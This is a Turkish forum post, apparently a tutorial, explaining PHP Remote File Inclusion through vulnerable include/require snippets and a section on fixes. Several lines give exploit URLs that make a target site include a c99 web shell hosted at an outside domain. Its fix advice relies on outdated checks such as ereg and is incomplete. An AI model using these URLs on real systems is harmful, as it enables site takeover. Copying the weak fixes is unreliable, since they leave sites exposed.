'Remote file Inclusion'

MCDESCENT

New member
================== Öncelikle Bilinmesi Gerekenler =============
include :
Bu satırın olduğu her yerde , ilgili dosyadaki kod çalıştırılır.
Eğer dosya yok ise warning üretilir.

include_once :
Bu ifadenin rastandığı ilk yerde , ilgili dosyadaki kod çalıştırılır , aynı dosya ile ilgili daha sonraki include işlemleri yoksayılır.
Eğer dosya yok ise warning üretilir.

require :
Bu satırın olduğu her yerde , ilgili dosyadaki kod çalıştırılır.
Eğer dosya yok ise , fatal error üretilir ve kod işleyişi durur.

require_once :
Bu ifadenin rastandığı ilk yerde , ilgili dosyadaki kod çalıştırılır , aynı dosya ile ilgili daha sonraki require işlemleri yoksayılır.
Eğer dosya yok ise , fatal error üretilir ve kod işleyişi durur.

================================================== ============
R.F.I (Remote File Include) Türkçe Manasıyla Dosya İçine Kod Dahil Etmektir. Yani scriptlerdeki hatalı kodlar kullanılarak bazı zararlı dosyalar
Dahil edilebilinir. Bu Açık Günümüzde Yüzlerce Saldırgan Tarafından Kullanılmaktadır Amma velakin En Tehlikeli Açıklardan biridir.
Bu açık Bünyesinde sitenizin her klasör ve dosyasını okuyabilir ve yazabilirler.

Şimdi bu açıkların neden oldupu kodları inceleyelim. Bu kodları yukarıda "Bilinmesi gerekenler" diye tanımladık.
Bu kodların yanlış kullanımı sırasında rfi açıkları gerçekleşir. Peki bu kodların yanlış kullanımlarından birkaç Örnek verelim

Örneğin index.php Dosyası İçeriği ;

Kod:

<?php
include("$cg"."\sayfa\bug.php")
?>

Burada $Cg komutu bir değişkendir. Yani $cg ye atadığımız bir değeri alır ve o değeri kullanır. Örnek verecek olursak


Kod:

<?php
$cg = "Lojistik";
include("$cg"."\sayfa\bug.php")
?>

Burada $cg'yi Lojistik olarak atadık yani tanımladık.
include("$cg"."\sayfa\bug.php") <== Bu komut şöyle olmuş olacak ==> include("Lojistik\sayfa\bug.php")
Yani Lojistik klasörünün içindeki, sayfa klasörünün içindeki, bug.php dosyasını çağır, anlamına gelir
İşte burada eğer $cg komutu tanımlanmamışsa yani bir değere eşitlenmemişse burada bir açık oluşur.
Tanımlanmamış bir değer'i örnek vermek gerekir ise ;


Kod:

<?php
include("$cg"."\sayfa\bug.php")
?>

Burada Gördüğümüz gibi $cg değişkenine hiç bir değer atılmamış. Burada yapmamız gereken yani açığı kullanmak için yapmamız gereken
$cg değişkeni açık olduğu için bu $cg değişkenine bir değer atamak olacak. Bunu da şöyle yapabilirz
cg=[Atayacağımız_Değer] şeklinde. Bu olaya sepet doldurma denir.
index.php dosyamızın cg diye bir klasörde olduğunu farzedelim. Bu açıktan yararlanmak için şöyle yaparız
cg\index.php?cg=Atayacağımız_Değer
Burada Atayacağımız_Değer kısmına zararlı kodlarımızın bulunduğu linki yazarız. Bu zararlı kodlar Shell diye adlandırır.

( Örnek Shell linki : http://remote_path? )

Kod:

http://www.site.com/cg/index.php?cg=http://remote_Path?Açık kullanımı bu şekilde olur. Bunu biraz daha açacak olursa söyle anlatabiriz.
site isimli bir sitemizin incedeki cg klasörünün içinde bulunan index.php dosyasından kaynaklanan hatayı kullanmaktır.
index.php deki tanımlanmamış cg isimli değişkeni " = " işareti ile Shell adresimize eşitliyoruz yani cg değeri artık bizim Shell linkimizde
Bulunan kodları almış duruma gelir. include komutu da bunları ekrana çeker(çağırır, dahil eder).
Şimdi index.php dosyasındaki include komutunu require olarak değiştirirsek ne fark eder? Aslında değişen hiçbirşey olmaz,
Değer yine atanmamışsa bizim emrettiklerimizi aynen yerine getirir. ( çağırarak )
Dosya çağırma komutlarının hepsi (genel olarak) aynı işlevi yürütür değişen olmaz.
Yani include yerinde diğer komutlarda bulunabilir. Kullanımda hiçbirşey değişmez

********

Bu 4 komut dışında da RFI açıklarını oluşturan komutlar vardır.
Bu komutda $_GET'dir. Bu komut linkteki değeri ekrana çağırmaya yarar. Örneğin


Kod:
$sayfa = $_GET[’cg’];Komutu, linkedeki sayfa değerini alır. Yani $Sayfa = cg olur. Buradaki sayfa linkden gelen değerdir.
Eğer bu sayfa değeri ekrana çağırılıyorsa include ya da diğer komutlardan birisyle, ortaya hata bir kod daha çıkar.
---------------------------
index.php içeriği


Kod:

<?php
$sayfa = $_GET[’cg’];
if (isset($sayfa))
{
include($sayfa);
}
?>

Burada index.php içeriniği görüyorsunuz. Link değeri şu şekilde olduğunda " index.php?Sayfa=cg " $Sayfa değişkeni buradaki
cg değerini alır. Eğer kötü niyetli birileri gelip cg değeri yerine zararlı kodlarının bulunduğu linki yazarsa (Shell Adresi)
Sayfa değeri o zararlı kodları ile tanımlanmış olur ve include($sayfa); komutu ile Sayfa değişkenini yani zararlı kodları
Dahil etmiş oluruz. Örnek verecek olursak ;
http://www.site.com/index.php?Sayfa=http://www.by-ajan.com/c99.txt? <== Bu şekilde Açıktan Yararlanılabilir.
Dedik....
Birde bu Açığın açıkta Görünmeyen Yüzü vardır. Hemen bir örnek iLe Göstereyim..

index.php dosya içeriği

Kod:

<?php
include("bug.php");
include("$cg");
?>

Burada hemen $cg kodunu görüpte Rfi olduğunu Sanmayın. Bu $cg Kodu bug.php dosyasına tanımlanmış olabilir.
Sizin de gördüğünüz gibi index.php iLk oLarak bug.php'deki kodları çağırıyor.
Örneğin bug.php'de tanımlanmış olsun $cg değeri.

bug.php dosya içeriği

Kod:

<?php
$cg = "./";
?>

Evet yukarda sizinde gördüğünüz gibi $cg değeri tanımlanmış Dolayısı iLe RFİ açığı yoktur.
RFI Açığının bir görünmeyen yüzü daha bulunmaktadır örnek vermek gerekir ise

index.php dosya içeriği

Kod:

<?php
include("bug.php");
include("$cg");
?>

Evet yukardıdaki index.php içeriğinde gördüğünüz gibi yine ilk olarak bug.php dosya içeriği çağırılıyor

bug.php dosya içeriği

Kod:

<?php
$cg = $path
?>

Evet gördüğünüz gibi $cg kodunu bug.php $path olarak tanımlamış yani şöyle diyebiliriz

index.php dosya içeriği

Kod:

<?php
include("bug.php");
include("$path");
?>

Bug.php dosyasının demek istediği olay tamamen bundan ibarettir.
Açığı yine Aynı şekilde
index.php?path=http://www.by-ajan.com/c99.txt? <== İle shell'imizi index.php'ye dahil edebiliriz..


=========== RFI Açıklarının Fix'lenmesi(Kapatılması) =================

Gördüğünüz her include("$cg") tarzı komutlarda açık mevcut olmayabilir. $cg değeri tanımlanmış ya da Fix'lenmiş olabilir.
Peki bu açıklar nasıl Fix'lenir. Ya bu değerler öncesinde tek tek tanımlanır. Tanımlamalar şu şekildedir.


Kod:

<?php
$cg = "./";
include("$cg");
?>

Bu şekilde $cg ilk başta "./" olarak tanımlanır. Ya da herhangi başka bir şekilde de tanımlanabilir. Bu durumlarda açık mevcut olmaz
Birde sayfa başına eklenen bazı kodlar vardır. Bu kodlar o sayfaya direk erişimi engellemek için kullanılır.

bug.php sayfası içeriği

Kod:

<?php
if(! ereg("bug.php", $_SERVER["PHP_SELF"]))
die("Bu Sayfaya Erişim Sağlayamazsınız");
include("$cg");
?>

Burada eğer bug.php içeriğini görüntülemek istersek karşımıza "Bu Sayfaya Erişim Sağlayamazsınız" diye bir yazı gelir.
Sayfanın görüntülenmesi için başka komutlar vardır fakat bunları anlatmaya gerek yok. Bu durumda bu sayfayı görüntüleme yasağı olduğu
İçin açık fix'lenmiş olur. Yani kullanılmaz.

Güvenliği 1 kademe daha arttırmak için php coderlarının yaptığı bir yontem vardırşş
Dosya içeriğindeki değerleri baska Dosyaya Tanıtıp ilgili dosya içeriğine include etmek.
Şimdi bu güvenlik için Örnek vereyelim

index.php dosyası içeriği

Kod:

<?php
require_once("bug.php");
require_once("$git");
?>

Gördüğünüz gibi direkt bug.php'yi index.php dosyasına dahil etmek için require_once komutu görevlendirilmiş
Şimdi bug.php'e bakalım

bug.php dosya içeriği

Kod:

<?php
$git = "./";
?>---------------------------

Evet gördüğünüz gibi bug.php'de $git Değeri Tanımlanmıştır. Bu şekilde güvenlik önlemleri de alınmış olunur.
 
Üst